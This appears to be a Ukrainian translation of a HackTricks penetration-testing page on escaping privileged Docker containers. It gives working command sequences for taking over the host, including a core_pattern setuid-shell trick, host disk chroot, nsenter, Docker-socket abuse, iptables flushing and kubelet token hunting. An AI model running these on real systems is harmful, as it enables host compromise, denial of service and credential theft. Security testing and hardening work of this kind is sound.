Втеча з контейнерів із --privileged
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Огляд
Контейнер, запущений з --privileged, — це не те саме, що звичайний контейнер з однією-двома додатковими привілеями. На практиці --privileged знімає або послаблює кілька стандартних runtime-захистів, які зазвичай віддаляють робоче навантаження від небезпечних ресурсів хоста. Точний ефект залежить від runtime та хоста, але для Docker звичайний результат такий:
- надаються всі capabilities
- обмеження device cgroup знімаються
- багато kernel файлових систем перестають монтуватися як read-only
- стандартні masked procfs шляхи зникають
- seccomp фільтрація відключається
- ізоляція AppArmor відключається
- ізоляція SELinux відключається або замінюється значно ширшою міткою
Важливим наслідком є те, що привілейованому контейнеру зазвичай не потрібен витончений експлойт ядра. У багатьох випадках він може просто взаємодіяти з пристроями хоста, kernel файловими системами, що звернені до хоста, або runtime-інтерфейсами безпосередньо, а потім переключитися на shell хоста.
Чого --privileged автоматично не змінює
--privileged не приєднує автоматично namespace-и хоста PID, network, IPC або UTS. Привілейований контейнер усе ще може мати приватні namespace-и. Це означає, що деякі ланцюжки втечі вимагають додаткової умови, наприклад:
- bind mount хоста
- спільний PID з хостом
- host networking
- видимі пристрої хоста
- записувані proc/sys інтерфейси
Ці умови часто легко виконати при реальних неправильних налаштуваннях, але концептуально вони відокремлені від --privileged самого по собі.
Шляхи втечі
1. Примонтування диска хоста через видимі пристрої
Привілейований контейнер зазвичай бачить набагато більше вузлів пристроїв під /dev. Якщо блочний пристрій хоста видимий, найпростіший шлях втечі — примонтувати його й виконати chroot у файлову систему хоста:
ls -l /dev/sd* /dev/vd* /dev/nvme* 2>/dev/null
mkdir -p /mnt/hostdisk
mount /dev/sda1 /mnt/hostdisk 2>/dev/null || mount /dev/vda1 /mnt/hostdisk 2>/dev/null
ls -la /mnt/hostdisk
chroot /mnt/hostdisk /bin/bash 2>/dev/null
Якщо root partition неочевидний, спочатку перелічте block layout:
fdisk -l 2>/dev/null
blkid 2>/dev/null
debugfs /dev/sda1 2>/dev/null
Якщо практичним шляхом є розміщення setuid helper у записуваному монтуванні хоста замість chroot, пам’ятайте, що не кожна файлова система шанує біт setuid. Швидка перевірка можливостей на хості:
mount | grep -v "nosuid"
Це корисно, оскільки записувані шляхи під файловими системами з nosuid значно менш цікаві для класичних сценаріїв «скинути setuid shell і виконати її пізніше».
Ослаблені механізми захисту, якими зловживають тут:
- повний доступ до пристроїв
- широкі capabilities, особливо
CAP_SYS_ADMIN
Related pages:
2. Монтування або повторне використання bind mount хоста і chroot
Якщо коренева файлова система хоста вже змонтована всередині контейнера, або якщо контейнер може створити необхідні mount-и, оскільки він privileged, то хостова оболонка часто знаходиться лише на відстані одного chroot:
mount | grep -E ' /host| /mnt| /rootfs'
ls -la /host 2>/dev/null
chroot /host /bin/bash 2>/dev/null || /host/bin/bash -p
Якщо не існує кореневого bind-монту хоста, але сховище хоста доступне, створіть його:
mkdir -p /tmp/host
mount --bind / /tmp/host
chroot /tmp/host /bin/bash 2>/dev/null
Цей шлях зловживає:
- ослабленими обмеженнями монтування
- повні capabilities
- відсутністю MAC confinement
Related pages:
3. Зловживання доступними для запису /proc/sys або /sys
Одним із великих наслідків --privileged є те, що захисти procfs і sysfs стають значно слабкішими. Це може відкрити інтерфейси ядра, орієнтовані на хост, які зазвичай маскуються або монтуються лише для читання.
Класичний приклад — core_pattern:
[ -w /proc/sys/kernel/core_pattern ] || exit 1
overlay=$(mount | sed -n 's/.*upperdir=\([^,]*\).*/\1/p' | head -n1)
cat <<'EOF' > /shell.sh
#!/bin/sh
cp /bin/sh /tmp/rootsh
chmod u+s /tmp/rootsh
EOF
chmod +x /shell.sh
echo "|$overlay/shell.sh" > /proc/sys/kernel/core_pattern
cat <<'EOF' > /tmp/crash.c
int main(void) {
char buf[1];
for (int i = 0; i < 100; i++) buf[i] = 1;
return 0;
}
EOF
gcc /tmp/crash.c -o /tmp/crash
/tmp/crash
ls -l /tmp/rootsh
Інші шляхи з високою цінністю включають:
cat /proc/sys/kernel/modprobe 2>/dev/null
cat /proc/sys/fs/binfmt_misc/status 2>/dev/null
find /proc/sys -maxdepth 3 -writable 2>/dev/null | head -n 50
find /sys -maxdepth 4 -writable 2>/dev/null | head -n 50
Цей шлях зловживає:
- відсутні masked paths
- відсутні read-only system paths
Пов’язані сторінки:
4. Використайте повні можливості для Mount- Or Namespace-Based Escape
Привілейований контейнер отримує capabilities, які зазвичай видаляються зі стандартних контейнерів, включно з CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_SYS_MODULE, CAP_NET_ADMIN та багатьма іншими. Це часто достатньо, щоб перетворити локальний foothold у host escape, щойно з’явиться інша exposed surface.
Простий приклад — монтування додаткових файлових систем та використання namespace entry:
capsh --print | grep cap_sys_admin
which nsenter
nsenter -t 1 -m -u -n -i -p sh 2>/dev/null || echo "host namespace entry blocked"
Якщо host PID також спільно використовується, крок стає ще коротшим:
ps -ef | head -n 50
nsenter -t 1 -m -u -n -i -p /bin/bash
Цей шлях зловживає:
- стандартним привілейованим набором можливостей
- опційним спільним доступом до PID хоста
Related pages:
5. Escape Through Runtime Sockets
Привілейований контейнер часто має видимим стан runtime хоста або його сокети. Якщо доступний сокет Docker, containerd або CRI-O, найпростіший підхід зазвичай — використати runtime API для запуску другого контейнера з доступом до хоста:
find / -maxdepth 3 \( -name docker.sock -o -name containerd.sock -o -name crio.sock \) 2>/dev/null
docker -H unix:///var/run/docker.sock run --rm -it -v /:/mnt ubuntu chroot /mnt bash 2>/dev/null
Для containerd:
ctr --address /run/containerd/containerd.sock images ls 2>/dev/null
Цей шлях зловживає:
- privileged runtime exposure
- host bind mounts created through the runtime itself
Related pages:
Runtime API And Daemon Exposure
6. Усунення побічних ефектів мережевої ізоляції
--privileged сам по собі не приєднує контейнер до неймспейсу мережі хоста, але якщо контейнер також має --network=host або інший доступ до мережі хоста, повний мережевий стек стає змінним:
capsh --print | grep cap_net_admin
ip addr
ip route
iptables -S 2>/dev/null || nft list ruleset 2>/dev/null
ip link set lo down 2>/dev/null
iptables -F 2>/dev/null
Це не завжди забезпечує безпосередній shell хоста, але може призвести до denial of service, перехоплення трафіку або доступу до служб керування, доступних лише через loopback.
Related pages:
7. Читання секретів хоста та стану виконання
Навіть якщо чистого виходу в shell хоста одразу немає, привілейовані контейнери часто мають достатній доступ, щоб читати секрети хоста, стан kubelet, метадані середовища виконання та файлові системи сусідніх контейнерів:
find /var/lib /run /var/run -maxdepth 3 -type f 2>/dev/null | head -n 100
find /var/lib/kubelet -type f -name token 2>/dev/null | head -n 20
find /var/lib/containerd -type f 2>/dev/null | head -n 50
Якщо /var є host-mounted або runtime directories видимі, це може бути достатньо для lateral movement або cloud/Kubernetes credential theft навіть до отримання host shell.
Пов’язані сторінки:
Перевірки
Метою наступних команд є підтвердження, які privileged-container escape families є відразу застосовними.
capsh --print # Confirm the expanded capability set
mount | grep -E '/proc|/sys| /host| /mnt' # Check for dangerous kernel filesystems and host binds
ls -l /dev/sd* /dev/vd* /dev/nvme* 2>/dev/null # Check for host block devices
grep Seccomp /proc/self/status # Confirm seccomp is disabled
cat /proc/self/attr/current 2>/dev/null # Check whether AppArmor/SELinux confinement is gone
find / -maxdepth 3 -name '*.sock' 2>/dev/null # Look for runtime sockets
Що тут цікаво:
- повний набір capabilities, особливо
CAP_SYS_ADMIN - можливість запису в proc/sys
- видимі пристрої хоста
- відсутні seccomp та MAC confinement
- runtime sockets або host root bind mounts
Будь-який із цих факторів може бути достатнім для post-exploitation. Кілька з них разом зазвичай означають, що контейнер фактично знаходиться на відстані однієї-двох команд від host compromise.
Пов’язані сторінки
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


